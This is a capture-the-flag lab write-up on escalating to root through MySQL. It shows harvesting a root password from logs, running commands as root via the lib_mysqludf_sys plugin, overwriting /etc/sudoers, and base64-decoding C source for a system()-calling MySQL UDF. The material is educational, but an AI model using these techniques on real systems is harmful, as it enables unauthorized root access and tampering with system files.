The Golden Logs II
This challenge was odd, it said easy yet took me longer than the hard one, why? Because I over thought it, I knew what needed to be done, I just failed to check the basics first and overlooked the key bit of info. Never forget enumeration is KEY! Do not overlook ANYTHING!
The Challenge
A running Linux server is a complicated beast with dozens of things happening in the background. Running services create logs and for an attacker, these logs can be a treasure trove!
Your mission is to get a root shell on the box!
Challenge Accepted
student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
(root) NOPASSWD: /etc/init.d/mysql
student@attackdefense:~$ grep -r pass /var/log/mysql
/var/log/mysql/log:Connection succeeded for user root@localhost to database mysql using password adlabs@adlabs
Next I added the creds to my local config file so when I tried mysql I dropped straight in as root user.
student@attackdefense:~$ echo "[client]" > .my.cnf
student@attackdefense:~$ echo "user=root" >> .my.cnf
student@attackdefense:~$ echo "password=adlabs@adlabs" >> .my.cnf
Ok, now I am in but from experience I know we can’t just drop into a shell even though the system command \! might seem tempting you drop into shell with the user privs who invoked mysql, your user not the db user.
We also know that we can try and load a plugin in a number of ways, all of which I tried, main issues was this…
mysql> select * from user INTO OUTFILE '/tmp/test';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> SELECT @@GLOBAL.secure_file_priv;
+---------------------------+
| @@GLOBAL.secure_file_priv |
+---------------------------+
| /var/lib/mysql-files/ |
+---------------------------+
1 row in set (0.00 sec)
secure-file-priv, what’s that? secure-file-priv is a variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA
and SELECT ... INTO OUTFILE
statements and the LOAD_FILE()
function. These operations are permitted only to users who have the FILE
privilege. Basically, good idea for security! Take note.
However there is always a way round, so I tried all sorts of shenanigans and wasted a good hour when the writing was on the wall. I failed to look at what plugins we already had installed!
student@attackdefense:/usr/lib/mysql/plugin$ ls -la /usr/lib/mysql/plugin
total 664
drwxr-xr-x 1 root root 4096 Oct 18 14:51 .
drwxr-xr-x 1 root root 4096 Sep 24 2018 ..
-rw-r--r-- 1 root root 21224 Jul 27 2018 adt_null.so
-rw-r--r-- 1 root root 6288 Jul 27 2018 auth_socket.so
-rw-r--r-- 1 root root 44144 Jul 27 2018 connection_control.so
-rw-r--r-- 1 root root 112792 Jul 27 2018 innodb_engine.so
-rw-r--r-- 1 root root 84512 Jul 27 2018 keyring_file.so
-rwxr-xr-x 1 root root 13192 Oct 18 14:51 lib_mysqludf_sys.so
-rw-r--r-- 1 root root 158688 Jul 27 2018 libmemcached.so
-rw-r--r-- 1 root root 5824 Jul 27 2018 locking_service.so
-rw-r--r-- 1 root root 10840 Jul 27 2018 mypluglib.so
-rw-r--r-- 1 root root 6064 Jul 27 2018 mysql_no_login.so
-rw-r--r-- 1 root root 56064 Jul 27 2018 rewriter.so
-rw-r--r-- 1 root root 56936 Jul 27 2018 semisync_master.so
-rw-r--r-- 1 root root 14768 Jul 27 2018 semisync_slave.so
-rw-r--r-- 1 root root 27568 Jul 27 2018 validate_password.so
-rw-r--r-- 1 root root 27200 Jul 27 2018 version_token.so
One instantly stands out…
-rwxr-xr-x 1 root root 13192 Oct 18 14:51 lib_mysqludf_sys.so
Let’s see what this is…
https://github.com/mysqludf/lib_mysqludf_sys
TL;DR —
Github info.htmllib_mysqludf_sys
contains a number of functions that allows one to interact with the operating system.
Turns out we already have exactly what we need, this library does exactly what the shared object I created tried to do, except I could not load a plugin but it was required anyway. Lesson here really is to not overlook the basics, I wasted time when a quick ls -la would have solved it all.
The Solution
student@attackdefense:/usr/lib/mysql/plugin$ mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.23-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_eval' already exists
mysql> sys_eval("id");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sys_eval("id")' at line 1mysql> SELECT sys_eval("id");+-----------------------------------------+| sys_eval("id") |+-----------------------------------------+| uid=0(root) gid=0(root) groups=0(root)
|
+-----------------------------------------+
1 row in set (0.04 sec)
mysql> SELECT sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers");
+------------------------------------------------------------------+
| sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers") |
+------------------------------------------------------------------+
| NULL |
+------------------------------------------------------------------+
1 row in set (0.02 sec)
mysql> exit
Bye
student@attackdefense:/usr/lib/mysql/plugin$ sudo -l
User student may run the following commands on attackdefense:
(ALL) NOPASSWD: ALL
student@attackdefense:/usr/lib/mysql/plugin$ sudo /bin/bash
root@attackdefense:/usr/lib/mysql/plugin# id
uid=0(root) gid=0(root) groups=0(root)

Tips
During this challenge, I had to use a few old tricks, some of which I knew much earlier in my career so sharing in the hope they help others.
Writing Source Code to File without Text Editor/Echo
Sometimes you need to write exploit code but standard echos etc take too long to escape properly when the code is complex, base64 to the rescue. First base64 encode the payload.
student@attackdefense:/tmp$ echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmVudW0gSXRlbV9yZXN1bHQge1NUUklOR19SRVNVTFQsIFJFQUxfUkVTVUxULCBJTlRfUkVTVUxULCBST1dfUkVTVUxUfTsKCnR5cGVkZWYgc3RydWN0IHN0X3VkZl9hcmdzIHsKCXVuc2lnbmVkIGludAkJYXJnX2NvdW50OwoJZW51bSBdGVtX3Jlc3VsdAkqYXJnX3R5cGU7CgljaGFyIAkJCSoqYXJnczsKCXVuc2lnbmVkIGxvbmcJCSpsZW5ndGhzOwoJY2hhcgkJCSptYXliZV9udWxsOwp9IFVERl9BUkdTOwoKdHlwZWRlZiBzdHJ1Y3Qgc3RfdWRmX2luaXQgewoJY2hhcgkJCW1heWJlX251bGw7Cgl1bnNpZ25lZCBpbnQJCWRlY2ltYWxzOwoJdW5zaWduZWQgbG9uZyAJCW1heF9sZW5ndGg7CgljaGFyCQkJKnB0cjsKCWNoYXIJCQljb25zdF9pdGVtOwp9IFVERl9JTklUOwoKaW50IGRvX3N5c3RlbShVREZfSU5JVCAqaW5pdGlkLCBVREZfQVJHUyAqYXJncywgY2hhciAqaXNfbnVsbCwgY2hhciAqZXJyb3IpCnsKCWlmIChhcmdzLT5hcmdfY291bnQgIT0gMSkKCQlyZXR1cm4oMCk7CgoJc3lzdGVtKGFyZ3MtPmFyZ3NbMF0pOwoKCXJldHVybigwKTsKfQ==" | base64 -d > priv.c
student@attackdefense:/tmp$ cat priv.c
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count;
enum Item_result *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
Dump MySql Environment and Config Variables
student@attackdefense:~$ mysqld --verbose --help
student@attackdefense:~$ mysqladmin variables -u root -p
Understand MySql/MySqld etc will be Invoked
student@attackdefense:~$ mysql --print-defaults
mysql would have been started with the following arguments:
--user=root --password=*****
student@attackdefense:~$ mysqld --print-defaults
mysqld would have been started with the following arguments:
--skip_name_resolve --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 --basedir=/usr --datadir=/var/lib/mysql --tmpdir=/tmp --lc-messages-dir=/usr/share/mysql --skip-external-locking --bind-address=0.0.0.0 --key_buffer_size=16M --max_allowed_packet=16M --thread_stack=192K --thread_cache_size=8 --myisam-recover-options=BACKUP --query_cache_limit=1M --query_cache_size=16M --expire_logs_days=10 --max_binlog_size=100M